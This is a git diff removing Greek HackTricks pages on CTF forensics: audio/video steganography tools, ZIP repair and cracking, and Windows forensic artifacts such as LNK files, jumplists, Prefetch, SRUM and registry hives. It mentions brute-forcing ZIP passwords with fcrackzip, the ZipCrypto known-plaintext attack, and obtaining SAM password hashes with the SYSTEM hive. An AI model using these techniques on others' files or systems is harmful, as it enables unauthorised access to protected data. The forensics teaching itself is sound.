Αυτές οι στρατηγικές υπογραμμίζουν τη σημασία μιας ολοκληρωμένης προσέγγισης στα CTFs, αξιοποιώντας ένα μείγμα αναλυτικών εργαλείων και τεχνικών επισκευής για την αποκάλυψη και ανάκτηση κρυφών ή χαμένων δεδομένων.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,17 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
**Η χειραγώγηση αρχείων ήχου και βίντεο** είναι βασικό στοιχείο στις **προκλήσεις ψηφιακής εγκληματολογίας CTF**, αξιοποιώντας **στεγανографία** και ανάλυση μεταδεδομένων για να κρύψει ή να αποκαλύψει μυστικά μηνύματα. Εργαλεία όπως το **[mediainfo](https://mediaarea.net/en/MediaInfo)** και το **`exiftool`** είναι απαραίτητα για την επιθεώρηση μεταδεδομένων αρχείων και την αναγνώριση τύπων περιεχομένου.
Για προκλήσεις ήχου, το **[Audacity](http://www.audacityteam.org/)** ξεχωρίζει ως ένα κορυφαίο εργαλείο για την προβολή κυματομορφών και την ανάλυση φασματογραμμάτων, απαραίτητο για την αποκάλυψη κειμένου που έχει κωδικοποιηθεί σε ήχο. Το **[Sonic Visualiser](http://www.sonicvisualiser.org/)** συνιστάται ιδιαίτερα για λεπτομερή ανάλυση φασματογραμμάτων. Το **Audacity** επιτρέπει τη χειραγώγηση ήχου όπως η επιβράδυνση ή η αναστροφή κομματιών για την ανίχνευση κρυμμένων μηνυμάτων. Το **[Sox](http://sox.sourceforge.net/)**, ένα εργαλείο γραμμής εντολών, διαπρέπει στη μετατροπή και επεξεργασία αρχείων ήχου.
**Η χειραγώγηση των λιγότερο σημαντικών bit (LSB)** είναι μια κοινή τεχνική στη στεγανографία ήχου και βίντεο, εκμεταλλευόμενη τα σταθερού μεγέθους κομμάτια των αρχείων πολυμέσων για να ενσωματώσει δεδομένα διακριτικά. Το **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** είναι χρήσιμο για την αποκωδικοποίηση μηνυμάτων που είναι κρυμμένα ως **DTMF τόνοι** ή **κωδικός Μορς**.
Οι προκλήσεις βίντεο συχνά περιλαμβάνουν μορφές κοντέινερ που συνδυάζουν ροές ήχου και βίντεο. Το **[FFmpeg](http://ffmpeg.org/)** είναι το εργαλείο αναφοράς για την ανάλυση και χειραγώγηση αυτών των μορφών, ικανό να απο-πολυπλέκει και να αναπαράγει περιεχόμενο. Για προγραμματιστές, το **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** ενσωματώνει τις δυνατότητες του FFmpeg σε Python για προηγμένες αλληλεπιδράσεις μέσω σεναρίων.
Αυτή η σειρά εργαλείων υπογραμμίζει την ευελιξία που απαιτείται στις προκλήσεις CTF, όπου οι συμμετέχοντες πρέπει να χρησιμοποιήσουν ένα ευρύ φάσμα τεχνικών ανάλυσης και χειραγώγησης για να αποκαλύψουν κρυμμένα δεδομένα μέσα σε αρχεία ήχου και βίντεο.
## Αναφορές
- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,21 +0,0 @@
# ZIPs tricks
{{#include ../../../banners/hacktricks-training.md}}
**Εργαλεία γραμμής εντολών** για τη διαχείριση **zip αρχείων** είναι απαραίτητα για τη διάγνωση, επισκευή και σπάσιμο zip αρχείων. Ακολουθούν μερικά βασικά εργαλεία:
- **`unzip`**: Αποκαλύπτει γιατί ένα zip αρχείο μπορεί να μην αποσυμπιέζεται.
- **`zipdetails -v`**: Προσφέρει λεπτομερή ανάλυση των πεδίων μορφής zip αρχείου.
- **`zipinfo`**: Λίστα περιεχομένων ενός zip αρχείου χωρίς να τα εξάγει.
- **`zip -F input.zip --out output.zip`** και **`zip -FF input.zip --out output.zip`**: Προσπαθούν να επισκευάσουν κατεστραμμένα zip αρχεία.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ένα εργαλείο για brute-force σπάσιμο κωδικών zip, αποτελεσματικό για κωδικούς έως περίπου 7 χαρακτήρες.
Η [προδιαγραφή μορφής zip αρχείου](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) παρέχει λεπτομερείς πληροφορίες σχετικά με τη δομή και τα πρότυπα των zip αρχείων.
Είναι κρίσιμο να σημειωθεί ότι τα zip αρχεία που προστατεύονται με κωδικό **δεν κρυπτογραφούν τα ονόματα αρχείων ή τα μεγέθη αρχείων** εντός τους, μια αδυναμία ασφαλείας που δεν μοιράζονται τα RAR ή 7z αρχεία που κρυπτογραφούν αυτές τις πληροφορίες. Επιπλέον, τα zip αρχεία που κρυπτογραφούνται με την παλαιότερη μέθοδο ZipCrypto είναι ευάλωτα σε **επίθεση απλού κειμένου** αν είναι διαθέσιμη μια μη κρυπτογραφημένη αντίγραφο ενός συμπιεσμένου αρχείου. Αυτή η επίθεση εκμεταλλεύεται το γνωστό περιεχόμενο για να σπάσει τον κωδικό του zip, μια ευπάθεια που αναλύεται στο [άρθρο του HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) και εξηγείται περαιτέρω σε [αυτή την ακαδημαϊκή εργασία](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Ωστόσο, τα zip αρχεία που ασφαλίζονται με κρυπτογράφηση **AES-256** είναι ανθεκτικά σε αυτή την επίθεση απλού κειμένου, επιδεικνύοντας τη σημασία της επιλογής ασφαλών μεθόδων κρυπτογράφησης για ευαίσθητα δεδομένα.
## References
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,498 +0,0 @@
# Windows Artifacts
## Windows Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Generic Windows Artifacts
### Windows 10 Notifications
Στο μονοπάτι `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν από την επέτειο των Windows) ή `wpndatabase.db` (μετά την επέτειο των Windows).
Μέσα σε αυτή τη βάση δεδομένων SQLite, μπορείτε να βρείτε τον πίνακα `Notification` με όλες τις ειδοποιήσεις (σε μορφή XML) που μπορεί να περιέχουν ενδιαφέροντα δεδομένα.
### Timeline
Το Timeline είναι μια χαρακτηριστική δυνατότητα των Windows που παρέχει **χρονολογική ιστορία** των ιστοσελίδων που επισκέφτηκαν, των επεξεργασμένων εγγράφων και των εκτελούμενων εφαρμογών.
Η βάση δεδομένων βρίσκεται στο μονοπάτι `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **το οποίο δημιουργεί 2 αρχεία που μπορούν να ανοιχτούν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (Alternate Data Streams)
Τα αρχεία που έχουν κατέβει μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** κατέβηκαν από το intranet, internet, κ.λπ. Ορισμένα λογισμικά (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως το **URL** από όπου κατέβηκε το αρχείο.
## **File Backups**
### Recycle Bin
Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** μπορεί να βρεθεί στον φάκελο **`$Recycle.bin`** στη ρίζα της μονάδας δίσκου (`C:\$Recycle.bin`).\
Όταν διαγράφεται ένα αρχείο σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία:
- `$I{id}`: Πληροφορίες αρχείου (η ημερομηνία που διαγράφηκε)
- `$R{id}`: Περιεχόμενο του αρχείου
![](<../../../images/image (486).png>)
Έχοντας αυτά τα αρχεία, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να αποκτήσετε τη διεύθυνση του αρχικού αρχείου που διαγράφηκε και την ημερομηνία που διαγράφηκε (χρησιμοποιήστε `rifiuti-vista.exe` για Vista Win10).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../images/image (495) (1) (1) (1).png>)
### Αντίγραφα Σκιάς Όγκου
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμη και όταν είναι σε χρήση.
Αυτά τα αντίγραφα ασφαλείας βρίσκονται συνήθως στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομα αποτελείται από **UIDs** που εμφανίζονται στην παρακάτω εικόνα:
![](<../../../images/image (520).png>)
Τοποθετώντας την εικόνα εγκληματολογίας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς.
![](<../../../images/image (521).png>)
Η καταχώρηση μητρώου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` περιέχει τα αρχεία και τα κλειδιά **για να μην δημιουργηθούν αντίγραφα ασφαλείας**:
![](<../../../images/image (522).png>)
Το μητρώο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` περιέχει επίσης πληροφορίες ρύθμισης σχετικά με τα `Volume Shadow Copies`.
### Αυτόματα Αποθηκευμένα Αρχεία Office
Μπορείτε να βρείτε τα αυτόματα αποθηκευμένα αρχεία του Office στο: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Στοιχεία Shell
Ένα στοιχείο shell είναι ένα στοιχείο που περιέχει πληροφορίες σχετικά με το πώς να αποκτήσετε πρόσβαση σε ένα άλλο αρχείο.
### Πρόσφατα Έγγραφα (LNK)
Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** σε:
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης ένας σύνδεσμος προς τον φάκελο, προς τον γονικό φάκελο και προς τον παππού φάκελο.
Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι ένα **αρχείο** **ή** ένας **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί.
Επίσης, η **ημερομηνία δημιουργίας του συνδέσμου** είναι η πρώτη **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε [**LinkParser**](http://4discovery.com/our-tools/).
Σε αυτό το εργαλείο θα βρείτε **2 σύνολα** χρονικών σημείων:
- **Πρώτο Σύνολο:**
1. FileModifiedDate
2. FileAccessDate
3. FileCreationDate
- **Δεύτερο Σύνολο:**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
Το πρώτο σύνολο χρονικών σημείων αναφέρεται στα **χρονικά σημεία του αρχείου αυτού καθαυτού**. Το δεύτερο σύνολο αναφέρεται στα **χρονικά σημεία του συνδεδεμένου αρχείου**.
Μπορείτε να αποκτήσετε τις ίδιες πληροφορίες εκτελώντας το εργαλείο CLI των Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
Σε αυτή την περίπτωση, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV.
### Jumplists
Αυτά είναι τα πρόσφατα αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιούνται από μια εφαρμογή** που μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**.
Οι **jumplists** που δημιουργούνται αυτόματα αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής.
Οι προσαρμοσμένες jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή κάτι **σημαντικό** έχει συμβεί με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο).
Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει **την πρώτη φορά που το αρχείο προσπελάστηκε** και τον **χρόνο τροποποίησης την τελευταία φορά**.
Μπορείτε να επιθεωρήσετε τις jumplists χρησιμοποιώντας [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
![](<../../../images/image (474).png>)
(_Σημειώστε ότι οι χρονικές σφραγίδες που παρέχονται από το JumplistExplorer σχετίζονται με το αρχείο jumplist_)
### Shellbags
[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι τα shellbags.**](interesting-windows-registry-keys.md#shellbags)
## Χρήση USB Windows
Είναι δυνατόν να προσδιοριστεί ότι μια συσκευή USB χρησιμοποιήθηκε χάρη στη δημιουργία:
- Φακέλου Πρόσφατων Windows
- Φακέλου Πρόσφατων Microsoft Office
- Jumplists
Σημειώστε ότι κάποια αρχεία LNK αντί να δείχνουν στο αρχικό μονοπάτι, δείχνουν στο φάκελο WPDNSE:
![](<../../../images/image (476).png>)
Τα αρχεία στον φάκελο WPDNSE είναι ένα αντίγραφο των αρχικών, επομένως δεν θα επιβιώσουν από μια επανεκκίνηση του υπολογιστή και το GUID λαμβάνεται από ένα shellbag.
### Πληροφορίες Μητρώου
[Ελέγξτε αυτή τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με τις συνδεδεμένες συσκευές USB.
### setupapi
Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονικές σφραγίδες σχετικά με το πότε πραγματοποιήθηκε η σύνδεση USB (αναζητήστε `Section start`).
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Detective
[**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να αποκτήσει πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα.
![](<../../../images/image (483).png>)
### Καθαρισμός Plug and Play
Η προγραμματισμένη εργασία που είναι γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης του πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οι οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες ενδέχεται να υποβληθούν σε διαγραφή.
Η εργασία βρίσκεται στο παρακάτω μονοπάτι:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Μια στιγμιότυπο οθόνης που απεικονίζει το περιεχόμενο της εργασίας παρέχεται:
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Κύρια Συστατικά και Ρυθμίσεις της Εργασίας:**
- **pnpclean.dll**: Αυτό το DLL είναι υπεύθυνο για τη διαδικασία καθαρισμού.
- **UseUnifiedSchedulingEngine**: Ρυθμισμένο σε `TRUE`, υποδεικνύει τη χρήση της γενικής μηχανής προγραμματισμού εργασιών.
- **MaintenanceSettings**:
- **Period ('P1M')**: Κατευθύνει τον Προγραμματιστή Εργασιών να ξεκινήσει την εργασία καθαρισμού μηνιαία κατά τη διάρκεια της κανονικής Αυτόματης συντήρησης.
- **Deadline ('P2M')**: Δίνει οδηγίες στον Προγραμματιστή Εργασιών, εάν η εργασία αποτύχει για δύο συνεχόμενους μήνες, να εκτελέσει την εργασία κατά τη διάρκεια της επείγουσας Αυτόματης συντήρησης.
Αυτή η ρύθμιση εξασφαλίζει τακτική συντήρηση και καθαρισμό των οδηγών, με διατάξεις για επανεξέταση της εργασίας σε περίπτωση συνεχών αποτυχιών.
**Για περισσότερες πληροφορίες ελέγξτε:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## Emails
Τα emails περιέχουν **2 ενδιαφέροντα μέρη: Τα headers και το περιεχόμενο** του email. Στα **headers** μπορείτε να βρείτε πληροφορίες όπως:
- **Ποιος** έστειλε τα emails (διεύθυνση email, IP, mail servers που έχουν ανακατευθύνει το email)
- **Πότε** εστάλη το email
Επίσης, μέσα στα headers `References` και `In-Reply-To` μπορείτε να βρείτε το ID των μηνυμάτων:
![](<../../../images/image (484).png>)
### Windows Mail App
Αυτή η εφαρμογή αποθηκεύει emails σε HTML ή κείμενο. Μπορείτε να βρείτε τα emails μέσα σε υποφακέλους στο `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Τα emails αποθηκεύονται με την επέκταση `.dat`.
Τα **μεταδεδομένα** των emails και οι **επαφές** μπορούν να βρεθούν μέσα στη **βάση δεδομένων EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Αλλάξτε την επέκταση** του αρχείου από `.vol` σε `.edb` και μπορείτε να χρησιμοποιήσετε το εργαλείο [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) για να το ανοίξετε. Μέσα στον πίνακα `Message` μπορείτε να δείτε τα emails.
### Microsoft Outlook
Όταν χρησιμοποιούνται διακομιστές Exchange ή πελάτες Outlook, θα υπάρχουν κάποια headers MAPI:
- `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν εστάλη το email
- `Mapi-Conversation-Index`: Αριθμός μηνυμάτων παιδιών της συνομιλίας και χρονική σφραγίδα κάθε μηνύματος της συνομιλίας
- `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος.
- `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με τον πελάτη MAPI (μήνυμα διαβασμένο; μη διαβασμένο; απαντήθηκε; ανακατευθύνθηκε; εκτός γραφείου;)
Στον πελάτη Microsoft Outlook, όλα τα αποσταλμένα/ληφθέντα μηνύματα, δεδομένα επαφών και δεδομένα ημερολογίου αποθηκεύονται σε ένα αρχείο PST σε:
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
Η διαδρομή μητρώου `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` υποδεικνύει το αρχείο που χρησιμοποιείται.
Μπορείτε να ανοίξετε το αρχείο PST χρησιμοποιώντας το εργαλείο [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
![](<../../../images/image (485).png>)
### Microsoft Outlook OST Files
Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορείτε να χρησιμοποιήσετε τον [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
### Ανάκτηση Συνημμένων
Χαμένα συνημμένα μπορεί να είναι ανακτήσιμα από:
- Για **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
- Για **IE11 και άνω**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Thunderbird MBOX Files
**Thunderbird** χρησιμοποιεί **MBOX αρχεία** για να αποθηκεύσει δεδομένα, που βρίσκονται στο `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
### Εικόνες Μικρογραφιών
- **Windows XP και 8-8.1**: Η πρόσβαση σε έναν φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνας, ακόμη και μετά τη διαγραφή.
- **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν προσπελάζεται μέσω δικτύου μέσω UNC διαδρομής.
- **Windows Vista και νεότερες εκδόσεις**: Οι προεπισκοπήσεις μικρογραφιών κεντρικοποιούνται στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία που ονομάζονται **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) είναι εργαλεία για την προβολή αυτών των αρχείων.
### Πληροφορίες Μητρώου Windows
Το Μητρώο Windows, που αποθηκεύει εκτενή δεδομένα συστήματος και δραστηριότητας χρηστών, περιέχεται σε αρχεία σε:
- `%windir%\System32\Config` για διάφορους υποκλειδιά `HKEY_LOCAL_MACHINE`.
- `%UserProfile%{User}\NTUSER.DAT` για `HKEY_CURRENT_USER`.
- Οι εκδόσεις Windows Vista και νεότερες δημιουργούν αντίγραφα ασφαλείας των αρχείων μητρώου `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`.
- Επιπλέον, οι πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και Windows 2008 Server και μετά.
### Εργαλεία
Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων μητρώου:
- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για να περιηγηθείτε στο μητρώο Windows της τρέχουσας συνεδρίας.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να περιηγηθείτε σε αυτό με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την περιήγηση στο φορτωμένο μητρώο και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο.
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Μια άλλη εφαρμογή GUI ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο.
### Ανάκτηση Διαγραμμένων Στοιχείων
Όταν ένα κλειδί διαγράφεται, επισημαίνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως το **Registry Explorer**, είναι δυνατόν να ανακτηθούν αυτά τα διαγραμμένα κλειδιά.
### Τελευταίος Χρόνος Γραφής
Κάθε Key-Value περιέχει μια **χρονική σφραγίδα** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε.
### SAM
Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes των κωδικών πρόσβασης χρηστών** του συστήματος.
Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, τον μετρητή σύνδεσης, την πολιτική κωδικών πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να αποκτήσετε τα **hashes** χρειάζεστε επίσης το αρχείο/hive **SYSTEM**.
### Ενδιαφέροντα Εγγραφές στο Μητρώο Windows
{{#ref}}
interesting-windows-registry-keys.md
{{#endref}}
## Εκτελούμενα Προγράμματα
### Βασικές Διαδικασίες Windows
Σε [αυτή την ανάρτηση](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) μπορείτε να μάθετε για τις κοινές διαδικασίες Windows για να ανιχνεύσετε ύποπτες συμπεριφορές.
### Πρόσφατες Εφαρμογές Windows
Μέσα στο μητρώο `NTUSER.DAT` στη διαδρομή `Software\Microsoft\Current Version\Search\RecentApps` μπορείτε να βρείτε υποκλειδιά με πληροφορίες σχετικά με την **εφαρμογή που εκτελέστηκε**, **την τελευταία φορά** που εκτελέστηκε και **τον αριθμό φορών** που εκκινήθηκε.
### BAM (Background Activity Moderator)
Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Data του μητρώου).
### Windows Prefetch
Η προετοιμασία είναι μια τεχνική που επιτρέπει σε έναν υπολογιστή να **ανακτά σιωπηλά τους απαραίτητους πόρους που χρειάζονται για να εμφανίσουν περιεχόμενο** που ένας χρήστης **μπορεί να έχει πρόσβαση στο εγγύς μέλλον** ώστε οι πόροι να μπορούν να προσπελαστούν πιο γρήγορα.
Η προετοιμασία των Windows συνίσταται στη δημιουργία **cache των εκτελούμενων προγραμμάτων** για να μπορούν να φορτώνονται πιο γρήγορα. Αυτές οι cache δημιουργούνται ως αρχεία `.pf` μέσα στη διαδρομή: `C:\Windows\Prefetch`. Υπάρχει όριο 128 αρχείων σε XP/VISTA/WIN7 και 1024 αρχείων σε Win8/Win10.
Το όνομα του αρχείου δημιουργείται ως `{program_name}-{hash}.pf` (το hash βασίζεται στη διαδρομή και τα επιχειρήματα του εκτελέσιμου). Στα W10 αυτά τα αρχεία είναι συμπιεσμένα. Σημειώστε ότι η απλή παρουσία του αρχείου υποδεικνύει ότι **το πρόγραμμα εκτελέστηκε** κάποια στιγμή.
Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **που άνοιξε** το πρόγραμμα.
Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
![](<../../../images/image (487).png>)
### Superprefetch
**Superprefetch** έχει τον ίδιο στόχο με το prefetch, **να φορτώνει προγράμματα πιο γρήγορα** προβλέποντας τι θα φορτωθεί επόμενα. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\
Αυτή η υπηρεσία θα δημιουργήσει αρχεία βάσης δεδομένων στο `C:\Windows\Prefetch\Ag*.db`.
Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **αρχεία** **που άνοιξαν**, τον **όγκο** **που προσπελάστηκε**, την **πλήρη** **διαδρομή**, τα **χρονικά διαστήματα** και τα **χρονοσφραγίσματα**.
Μπορείτε να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
### SRUM
**System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** **που καταναλώνονται** **από μια διαδικασία**. Εμφανίστηκε στα W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`.
Δίνει τις εξής πληροφορίες:
- AppID και Διαδρομή
- Χρήστης που εκτέλεσε τη διαδικασία
- Αποστολή Bytes
- Λήψη Bytes
- Δικτυακή Διεπαφή
- Διάρκεια σύνδεσης
- Διάρκεια διαδικασίας
Αυτές οι πληροφορίες ενημερώνονται κάθε 60 λεπτά.
Μπορείτε να αποκτήσετε την ημερομηνία από αυτό το αρχείο χρησιμοποιώντας το εργαλείο [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
